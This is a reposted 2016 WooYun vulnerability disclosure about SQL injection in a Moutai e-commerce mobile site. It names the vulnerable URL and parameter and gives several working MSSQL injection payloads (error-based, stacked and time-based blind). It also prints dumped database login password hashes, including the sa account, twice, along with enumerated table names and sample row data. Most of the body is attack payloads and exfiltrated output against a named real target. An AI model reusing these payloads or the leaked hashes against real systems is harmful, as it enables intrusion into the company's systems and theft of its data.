神刀安全网

漏洞标题: 茅台电商某站存在sql注入dba权限&&1500个表&&多达1000多万数据泄露&&hash已经抓取

漏洞详情

披露状态:

2016-04-02: 细节已通知厂商并且等待厂商处理中
2016-04-05: 厂商已经确认,细节仅向厂商公开
2016-04-15: 细节向核心白帽子及相关领域专家公开
2016-04-25: 细节向普通白帽子公开
2016-05-05: 细节向实习白帽子公开
2016-05-20: 细节向公众公开

简要描述:

茅台电商某站存在sql注入dba权限&&影响1500个表&&多达1000多万数据泄露&&hash已经抓取

好久没有首页了

详细说明:

注入点:http://3g.emaotai.cn/

payload:

code 区域
Title: Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause
Payload: categoryId=&keyWord=dsafs')) AS NdHA WHERE 1215=1215 AND 5075=CONVERT(INT,(SELECT CHAR(113)+CHAR(120)+CHAR(
112)+CHAR(112)+CHAR(113)+(SELECT (CASE WHEN (5075=5075) THEN CHAR(49) ELSE CHAR(48) END))+CHAR(113)+CHAR(122)+CHAR(120)+
CHAR(113)+CHAR(113)))--

Type: stacked queries
Title: Microsoft SQL Server/Sybase stacked queries (comment)
Payload: categoryId=&keyWord=dsafs')) AS pxTB WHERE 9796=9796;WAITFOR DELAY '0:0:5'--

Type: AND/OR time-based blind
Title: Microsoft SQL Server/Sybase time-based blind
Payload: categoryId=&keyWord=dsafs')) AS jHDe WHERE 2949=2949 WAITFOR DELAY '0:0:5'--

code 区域
database management system users password hashes:
[*] ##MS_PolicyEventProcessingLogin## [1]:
password hash: 0x01003e97c513ec67adfd1aa7814c771927d74dc4e85a76d94223
header: 0x0100
salt: 3e97c513
mixedcase: ec67adfd1aa7814c771927d74dc4e85a76d94223

[*] ##MS_PolicyTsqlExecutionLogin## [1]:
password hash: 0x0100164d8137ff729a1dd4b185672857e14f1e88181c41a58d96
header: 0x0100
salt: 164d8137
mixedcase: ff729a1dd4b185672857e14f1e88181c41a58d96

[*] actuser [1]:
password hash: 0x01002c559e1ef0fec7c5d24e76631883cd927493644273a3a055
header: 0x0100
salt: 2c559e1e
mixedcase: f0fec7c5d24e76631883cd927493644273a3a055

[*] bmDev [1]:
password hash: 0x0100e6136a12ed038825071d087cd980e14a78680f03f8b7436b
header: 0x0100
salt: e6136a12
mixedcase: ed038825071d087cd980e14a78680f03f8b7436b

[*] dev [1]:
password hash: 0x01008cbd6f966933555d0351e2b9ab215594046ed48fe3074857
header: 0x0100
salt: 8cbd6f96
mixedcase: 6933555d0351e2b9ab215594046ed48fe3074857

[*] distributor_admin [1]:
password hash: 0x0100a4566f08a461a165d4f8f09e3476b4dbf93ef7ea8c69ac31
header: 0x0100
salt: a4566f08
mixedcase: a461a165d4f8f09e3476b4dbf93ef7ea8c69ac31

[*] hishop [1]:
password hash: 0x01000f16b31f83f4cc8dfd2eb5a668a787774483d5e18a4307ce
header: 0x0100
salt: 0f16b31f
mixedcase: 83f4cc8dfd2eb5a668a787774483d5e18a4307ce

[*] hishop_pj [1]:
password hash: 0x010002b323b86a30a4cff937a75c1ff146e337ebb7435aec6e30
header: 0x0100
salt: 02b323b8
mixedcase: 6a30a4cff937a75c1ff146e337ebb7435aec6e30

[*] moutaiwssc [1]:
password hash: 0x010034bd734767f33228aa8c59ce87c3a6dae24fc111352e2dc5
header: 0x0100
salt: 34bd7347
mixedcase: 67f33228aa8c59ce87c3a6dae24fc111352e2dc5

[*] mysys [1]:
password hash: 0x0100ab29481a1f1ff3abde88cd9be148b78d57d0990e9268fd80
header: 0x0100
salt: ab29481a
mixedcase: 1f1ff3abde88cd9be148b78d57d0990e9268fd80

[*] sa [1]:
password hash: 0x01006248941a8f751a26c0190421678951e550c751ba6c19cf4d
header: 0x0100
salt: 6248941a
mixedcase: 8f751a26c0190421678951e550c751ba6c19cf4d

[*] taxreader [1]:
password hash: 0x010010fb494c7338dcaf32c50a33da57a5b95a8b7836c288e5f3
header: 0x0100
salt: 10fb494c
mixedcase: 7338dcaf32c50a33da57a5b95a8b7836c288e5f3

[*] TicketReader [1]:
password hash: 0x01000a9631218adcdcf9a327ed76cbf00e4b792779396b7497fb
header: 0x0100
salt: 0a963121
mixedcase: 8adcdcf9a327ed76cbf00e4b792779396b7497fb




Database: drpecosdl
[237 tables]
+-----------------------------------------------------------+
| ECOModelRoot |
| ECO_ORMAPPING |
| ECO_TABLES |
| ECO_TYPE |
| ECO_TYPE_BAK |
| SolarData |
| dtproperties |
| labeng |
| pangolin_test_table |
| pass_found |
| sysdiagrams |
| t_Sys_tip |
| t_bank_translog |
| t_chat_msg |
| t_chat_users |
| t_ckgl_ckbgy |
| t_ckgl_ckdm |
| t_ckgl_ckspml |
| t_ckgl_spdb |
| t_ckgl_spdbmx |
| t_ckgl_tzml |
| t_config_client_commited |
| t_config_client_datacommit |
| t_config_mail_distribute |
| t_config_maillog |
| t_config_recover |
| t_crm_lddj |
| t_crm_member |
| t_cwgl_xspz |
| t_cx_Rpt |
| t_cx_backup |
| t_cx_sql |
| t_dzsw_notice |
| t_dzsw_notice_class |
| t_dzsw_notice_image |
| t_gggl_bfjh |
| t_hdgl_cjhy |
| t_hdgl_hd |
| t_hdgl_hyjl |
| t_hdgl_tmxx |
| t_hdgl_wdjl |
| t_hdgl_wqb |
| t_hdgl_wqtm |
| t_hdgl_zjhy |
| t_hishop_Region |
| t_hishop_Region_bak |
| t_hygl_jfbz |
| t_khgl_ghxe |
| t_khgl_jlr |
| t_khgl_khda |
| t_khgl_khfk |
| t_khgl_khfw |
| t_khgl_khgmyx |
| t_khgl_khps |
| t_khgl_khpsmxb |
| t_khgl_lxr |
| t_khgl_spsc |
| t_khgl_wlz |
| t_khgl_ysz |
| t_khgl_zkl |
| t_mailtest_yxwd |
| t_pos_ckd |
| t_pos_ckd_hc |
| t_pos_ckdmx |
| t_pos_ghdd |
| t_pos_ghdd_bak |
| t_pos_ghdd_sdl |
| t_pos_ghdd_test |
| t_pos_ghddmx |
| t_pos_ghddmx_sdl |
| t_pos_ghddmx_test |
| t_pos_kcpcb |
| t_pos_kcpcmxb |
| t_pos_kctz |
| t_pos_kctz_hc |
| t_pos_ndzz |
| t_pos_ndzzbt |
| t_pos_rkd |
| t_pos_rkd_hc |
| t_pos_rkdmx |
| t_pos_rkdmx_hc |
| t_pos_tuangou |
| t_pos_xsd |
| t_pos_xsdmx |
| t_pos_yxwd |
| t_pos_yxwd_head |
| t_pos_yxwd_old |
| t_rpt_mnddhq |
| t_rpt_mnpzhq |
| t_rpt_mrddhq |
| t_rpt_mrpzhq |
| t_rpt_myddhq |
| t_rpt_mypzhq |
| t_shop_adConfig |
| t_shop_cpzx |
| t_shop_djsq |
| t_shop_djsqmxb |
| t_shop_doc |
| t_shop_dxxmb |
| t_shop_fdxx |
| t_shop_gift |
| t_shop_hkjs |
| t_shop_hkjsmxb |
| t_shop_jfb |
| t_shop_jfbz |
| t_shop_sjbz |
| t_shop_spjg |
| t_shop_spml |
| t_shop_spml_hishop_tmp |
| t_shop_spxe |
| t_sys_Columdef |
| t_sys_Form |
| t_sys_FormGridParams |
| t_sys_FormStoredClass |
| t_sys_StoreProc |
| t_sys_backup |
| t_sys_codelib |
| t_sys_download |
| t_sys_dwbdjlb |
| t_sys_dwmlb |
| t_sys_fielddef |
| t_sys_formStatus |
| t_sys_formlinks |
| t_sys_grid |
| t_sys_help |
| t_sys_help_chm |
| t_sys_help_chm1 |
| t_sys_htmltemplate |
| t_sys_images |
| t_sys_logs |
| t_sys_logs_bak |
| t_sys_menu |
| t_sys_menu_permit |
| t_sys_menu_requests |
| t_sys_menuuser |
| t_sys_message |
| t_sys_msg |
| t_sys_newkey |
| t_sys_notice |
| t_sys_project |
| t_sys_queue |
| t_sys_requirement |
| t_sys_rpt |
| t_sys_rptjoin |
| t_sys_rtptables |
| t_sys_siteinfo |
| t_sys_spml |
| t_sys_subject |
| t_sys_subject_relation |
| t_sys_suggestion |
| t_sys_tabledef |
| t_sys_ticket |
| t_sys_ticket_sub |
| t_sys_ticketsn_user |
| t_sys_workflow |
| t_test_odata |
| t_wlgl_flflb |
| t_wlgl_psqy |
| t_wlgl_ptwldwbm |
| t_wlgl_spflb |
| t_wlgl_wldwbm |
| t_wlgl_yzflb |
| t_wlgl_yzfqb |
| t_wlgl_yzfqsfb |
| t_wlgl_yzzfb |
| t_wlgl_zfbzb |
| t_xtgl_czjsb |
| t_xtgl_czjsb_bak |
| t_xtgl_czjsb_moutai |
| t_xtgl_czjsb_new_bak |
| t_xtgl_czry |
| t_xtgl_czry_bak |
| t_xtgl_czry_bakzjj |
| t_xtgl_czry_moutai |
| t_xtgl_czryjs |
| t_xtgl_czryjs_bak |
| t_xtgl_czryjs_moutai |
| t_xtgl_czryqx_moutai |
| t_xtgl_dm |
| t_xtgl_dm_1 |
| t_xtgl_dm_bak |
| t_xtgl_dm_bak2 |
| t_xtgl_dwbmb |
| t_xtgl_dwhsb |
| t_xtgl_jsgsb |
| t_xtgl_jsqx |
| t_xtgl_jsqx_bak |
| t_xtgl_jsqx_moutai |
| t_xtgl_rjmkbmb |
| t_xtgl_rjmkbmb_bak |
| t_xtgl_rjmkbmb_moutai |
| t_xtgl_spjg |
| t_xtgl_spjg_moutai |
| t_xtgl_spml |
| t_xtgl_spml_moutai |
| t_xtgl_spml_old |
| t_xtgl_spmlkp |
| t_xtgl_xzqh |
| t_xtgl_xzqh_bak |
| t_xtgl_xzqh_new_bak |
| t_xtgl_xzsf |
| t_yxwdgl_yxwd |
| t_yxwdgl_yxwd_moutai |
| t_ztpzcs_extscript |
| t_ztpzcs_tablist |
| t_ztpzgl_pzcs |
| t_ztpzgl_pzcs_bak |
| tb_gh_spml |
| tb_gh_th |
| tb_order_item |
| tb_order_shipping |
| tmp |
| tmp_region |
| tmp_xsd |
| tmp_xsdid |
| tmp_xsdt |
| v_b2b_order |
| v_b2b_order_detail |
| v_crm_member |
| v_crm_member_birthday |
| v_khgl_jlr |
| v_khgl_khpj |
| v_pos_kctz_for_recovery |
| v_pos_pz |
| v_pos_xsflz |
| v_price_spml |
| v_rpt_kdxx |
| v_tax_pos_ghdd |
| v_tax_pos_ghddmx |
| v_tax_shop_spml |
| v_xtgl_spjg |
| v_xtgl_splb |
| v_xtgl_spml |
| v_xtgl_xzqh |
| v_xtgl_xzsf |
| v_yxwdgl_yxwd |
| xzqh2006 |
+-----------------------------------------------------------+

Database: tempdb
[86 tables]
+-----------------------------------------------------------+
| MSdistributor_access |
| #018335C9 |
| #02775A02 |
| #02C075A4 |
| #02E830D1 |
| #05A4A1EB |
| #07852AC1 |
| #07C1F487 |
| #08794EFA |
| #08A10A27 |
| #08B618C0 |
| #09952E60 |
| #09CA388A |
| #0EC4C328 |
| #108C44B2 |
| #118068EB |
| #1550F9CF |
| #1A15AEEC |
| #1DE63FD0 |
| #1E698D3A |
| #1F5A524D |
| #1F5DB173 |
| #20FD77D0 |
| #21B6D0B4 |
| #223A1E1E |
| #23ADFED1 |
| #24016DDE |
| #2429290B |
| #25083EAB |
| #26467BA7 |
| #267B85D1 |
| #273A9FE0 |
| #2752DBD5 |
| #2A170C8B |
| #2B60367F |
| #2C345F27 |
| #2CF7A3B3 |
| #2E74DAB0 |
| #309B8396 |
| #33B9AFDB |
| #3553B50D |
| #35EB13EF |
| #37353B04 |
| #387E64F8 |
| #405C1EBC |
| #4C371A65 |
| #5007AB49 |
| #53D83C2D |
| #55665317 |
| #5A8539BC |
| #5B795DF5 |
| #5C6D822E |
| #5D25A7F8 |
| #603E1312 |
| #60F638DC |
| #6132374B |
| #62265B84 |
| #631A7FBD |
| #63FCF483 |
| #64C6C9C0 |
| #6995D248 |
| #6A89F681 |
| #6C321607 |
| #6E2F6D12 |
| #6F23914B |
| #6FA3B159 |
| #70FE8AC0 |
| #71C103F5 |
| #72F4222F |
| #75A3444C |
| #76465B7D |
| #7973D530 |
| #7A16EC61 |
| #7B1F53DC |
| #7B840A99 |
| #7C137815 |
| #7C3B3342 |
| #7D079C4E |
| #7D2F577B |
| #7D446614 |
| #7D6C530B |
| #7DE77D45 |
| #7DFBC087 |
| #7E237BB4 |
| #7F179FED |
| #7F549B7D |
+-----------------------------------------------------------+
Database: DrpEco
[309 tables]
+------------------------------------------
| ECOModelRoot
| ECO_ORMAPPING
| ECO_TABLES
| ECO_TYPE
| ECO_TYPE_BAK
| MSpeer_conflictdetectionconfigrequest
| MSpeer_conflictdetectionconfigresponse
| MSpeer_lsns
| MSpeer_originatorid_history
| MSpeer_request
| MSpeer_response
| MSpeer_topologyrequest
| MSpeer_topologyresponse
| MSpub_identity_range
| Sheet1$
| SolarData
| dirs
| dtproperties
| labeng
| pangolin_test_table
| pass_found
| sequence
| sysarticlecolumns
| sysarticles
| sysarticleupdates
| sysdiagrams

code 区域
[*] ##MS_PolicyEventProcessingLogin## [1]:
password hash: 0x01003e97c513ec67adfd1aa7814c771927d74dc4e85a76d94223
header: 0x0100
salt: 3e97c513
mixedcase: ec67adfd1aa7814c771927d74dc4e85a76d94223

[*] ##MS_PolicyTsqlExecutionLogin## [1]:
password hash: 0x0100164d8137ff729a1dd4b185672857e14f1e88181c41a58d96
header: 0x0100
salt: 164d8137
mixedcase: ff729a1dd4b185672857e14f1e88181c41a58d96

[*] actuser [1]:
password hash: 0x01002c559e1ef0fec7c5d24e76631883cd927493644273a3a055
header: 0x0100
salt: 2c559e1e
mixedcase: f0fec7c5d24e76631883cd927493644273a3a055

[*] bmDev [1]:
password hash: 0x0100e6136a12ed038825071d087cd980e14a78680f03f8b7436b
header: 0x0100
salt: e6136a12
mixedcase: ed038825071d087cd980e14a78680f03f8b7436b

[*] dev [1]:
password hash: 0x01008cbd6f966933555d0351e2b9ab215594046ed48fe3074857
header: 0x0100
salt: 8cbd6f96
mixedcase: 6933555d0351e2b9ab215594046ed48fe3074857

[*] distributor_admin [1]:
password hash: 0x0100a4566f08a461a165d4f8f09e3476b4dbf93ef7ea8c69ac31
header: 0x0100
salt: a4566f08
mixedcase: a461a165d4f8f09e3476b4dbf93ef7ea8c69ac31

[*] hishop [1]:
password hash: 0x01000f16b31f83f4cc8dfd2eb5a668a787774483d5e18a4307ce
header: 0x0100
salt: 0f16b31f
mixedcase: 83f4cc8dfd2eb5a668a787774483d5e18a4307ce

[*] hishop_pj [1]:
password hash: 0x010002b323b86a30a4cff937a75c1ff146e337ebb7435aec6e30
header: 0x0100
salt: 02b323b8
mixedcase: 6a30a4cff937a75c1ff146e337ebb7435aec6e30

[*] moutaiwssc [1]:
password hash: 0x010034bd734767f33228aa8c59ce87c3a6dae24fc111352e2dc5
header: 0x0100
salt: 34bd7347
mixedcase: 67f33228aa8c59ce87c3a6dae24fc111352e2dc5

[*] mysys [1]:
password hash: 0x0100ab29481a1f1ff3abde88cd9be148b78d57d0990e9268fd80
header: 0x0100
salt: ab29481a
mixedcase: 1f1ff3abde88cd9be148b78d57d0990e9268fd80

[*] sa [1]:
password hash: 0x01006248941a8f751a26c0190421678951e550c751ba6c19cf4d
header: 0x0100
salt: 6248941a
mixedcase: 8f751a26c0190421678951e550c751ba6c19cf4d

[*] taxreader [1]:
password hash: 0x010010fb494c7338dcaf32c50a33da57a5b95a8b7836c288e5f3
header: 0x0100
salt: 10fb494c
mixedcase: 7338dcaf32c50a33da57a5b95a8b7836c288e5f3

[*] TicketReader [1]:
password hash: 0x01000a9631218adcdcf9a327ed76cbf00e4b792779396b7497fb
header: 0x0100
salt: 0a963121
mixedcase: 8adcdcf9a327ed76cbf00e4b792779396b7497fb

sa的hash已经抓取!

大概1500个表 影响巨大!@

漏洞标题:  茅台电商某站存在sql注入dba权限&&1500个表&&多达1000多万数据泄露&&hash已经抓取

其中一个300多万数据!

权限足够大可dump所有数据库的数据!

+————————————–+———-+

| ECO_ID | ECO_TYPE |

+————————————–+———-+

| 00000251-938E-415E-AF4D-6FCD1C601C07 | 15 |

| 000004AD-4717-4431-A500-59A9DBAF729A | 15 |

| 000004AE-38DE-4E18-BB44-9D4D0F4AD6BC | 15 |

| 0000072D-8386-4645-BB36-72B5FBA47942 | 12 |

| 00000938-5521-4F85-A150-165936662197 | 23 |

| 00000B1D-D249-49B1-8BFC-7D814E857427 | 15 |

| 00000C0D-C41A-4386-9DEA-6D1573E5F0C3 | 15 |

| 00000D5E-A711-4FF0-A6BA-21A80F37DD0E | 15 |

| 00001509-4A78-4734-BAB3-F28D4DD72D74 | 12 |

| 00001900-C529-46B1-BC6E-B423B317E9C1 | 23 |

| 00001BBA-A975-4895-A32E-20ADE860ED57 | 15 |

| 00001BE6-C2D2-45C3-A2EC-CCE77F8D36B1 | 15 |

| 00001E38-9E69-4596-A1E2-D1F0221D97DA | 12 |

| 00001F6C-329F-45CF-9542-2D1F16C15628 | 23 |

| 00001F95-09EA-49D0-98BB-0536F8C4FC65 | 12 |

| 000020A6-3FCF-4A67-A91C-80D28EB78928 | 23 |

| 00002149-CC7C-4974-AFD2-9529B0800612 | 23 |

| 00002AFD-1A8A-4E11-9F10-544263099BE8 | 12 |

| 00002FA8-553F-4F8E-80F9-395494D58787 | 12 |

| 000031AD-9C01-482E-B565-E636901A60F4 | 6 |

| 000033B0-4AFA-49C0-AF19-6F265C8A345F | 12 |

| 000034AE-C1B5-4882-BA2B-ABDC20693499 | 12 |

| 0000353F-9C9B-458A-BA26-1113AABA6871 | 12 |

漏洞证明:

以上足以证明!友情检测

修复方案:

你们更专业!

版权声明:转载请注明来源 猪猪虾@乌云

转载本站任何文章请注明:转载至神刀安全网,谢谢神刀安全网 » 漏洞标题: 茅台电商某站存在sql注入dba权限&&1500个表&&多达1000多万数据泄露&&hash已经抓取

分享到:更多 ()

评论 抢沙发

  • 昵称 (必填)
  • 邮箱 (必填)
  • 网址